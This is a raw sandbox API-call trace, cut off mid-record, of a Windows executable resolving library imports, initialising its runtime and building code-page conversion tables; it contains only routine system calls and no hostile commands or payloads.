GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0075.413] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0075.413] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0075.413] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0075.413] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0075.413] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0075.413] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0075.413] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0075.413] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0075.413] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0075.413] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0075.413] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0075.413] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0075.413] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0075.414] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0075.414] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0075.414] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0075.414] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0075.414] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0075.414] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0075.414] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0075.414] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0075.414] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0075.414] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0075.414] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0075.414] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0075.414] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0075.415] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0075.415] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0075.415] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0075.415] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0075.415] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0075.415] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0075.415] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0075.415] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0075.415] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0075.415] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0075.415] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0075.415] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0075.415] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0075.415] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0075.424] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0075.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xd1b2abe0, dwHighDateTime=0x1d5d06a)) [0075.425] GetCurrentThreadId () returned 0xc24 [0075.425] GetCurrentProcessId () returned 0xc20 [0075.425] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=21737688526) returned 1 [0075.425] GetProcessHeap () returned 0x550000 [0075.425] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0075.425] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0075.426] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0075.426] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0075.426] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0075.426] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0075.426] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0075.426] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0075.426] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0075.426] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0075.427] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0075.428] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0075.429] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3bc) returned 0x5660d0 [0075.429] GetCurrentThreadId () returned 0xc24 [0075.429] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x18) returned 0x566498 [0075.429] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x800) returned 0x5664b8 [0075.429] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xdfcdb6f9, hStdError=0x0)) [0075.429] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0075.429] GetFileType (hFile=0x3) returned 0x2 [0075.430] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0075.430] GetFileType (hFile=0x80) returned 0x3 [0075.430] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0075.430] GetFileType (hFile=0xb) returned 0x2 [0075.430] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner" [0075.430] GetEnvironmentStringsW () returned 0x566cc0* [0075.430] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xb88) returned 0x567850 [0075.430] FreeEnvironmentStringsW (penv=0x566cc0) returned 1 [0075.431] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x7c) returned 0x566cc0 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xa0) returned 0x566d48 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3e) returned 0x5683f8 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x6c) returned 0x566df0 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x6e) returned 0x566e68 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x78) returned 0x55f8f0 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x62) returned 0x566ee0 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2e) returned 0x566f50 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x48) returned 0x566f88 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2c) returned 0x566fd8 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x28) returned 0x567010 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1a) returned 0x565aa0 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x4a) returned 0x567040 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x72) returned 0x55f970 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x30) returned 0x567098 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2e) returned 0x5670d0 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1c) returned 0x565ac8 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xd2) returned 0x567108 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x7c) returned 0x5671e8 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x36) returned 0x567270 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x568440 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x90) returned 0x5672b0 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x24) returned 0x567348 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x30) returned 0x567378 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x36) returned 0x5673b0 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x48) returned 0x5673f0 [0075.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x52) returned 0x567440 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3c) returned 0x568488 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x18) returned 0x5674a0 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x82) returned 0x5674c0 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2e) returned 0x567550 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x565af0 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2c) returned 0x567588 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x54) returned 0x5675c0 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x52) returned 0x567620 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2a) returned 0x567680 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3c) returned 0x5684d0 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x54) returned 0x5676b8 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x24) returned 0x567718 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x30) returned 0x567748 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8c) returned 0x567780 [0075.432] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x550000) returned 1 [0075.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x800) returned 0x567818 [0075.433] GetLastError () returned 0x0 [0075.433] SetLastError (dwErrCode=0x0) [0075.433] GetLastError () returned 0x0 [0075.433] SetLastError (dwErrCode=0x0) [0075.433] GetLastError () returned 0x0 [0075.433] SetLastError (dwErrCode=0x0) [0075.433] GetACP () returned 0x4e4 [0075.433] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x220) returned 0x568020 [0075.433] GetLastError () returned 0x0 [0075.433] SetLastError (dwErrCode=0x0) [0075.433] IsValidCodePage (CodePage=0x4e4) returned 1 [0075.433] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0075.433] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0075.433] GetLastError () returned 0x0 [0075.433] SetLastError (dwErrCode=0x0) [0075.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0075.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0075.433] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0075.433] GetLastError () returned 0x0 [0075.433] SetLastError (dwErrCode=0x0) [0075.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0075.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0075.433] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0075.434] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0075.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿi·Íßäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0075.434] GetLastError () returned 0x0 [0075.434] SetLastError (dwErrCode=0x0) [0075.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0075.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0075.434] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0075.434] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0075.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 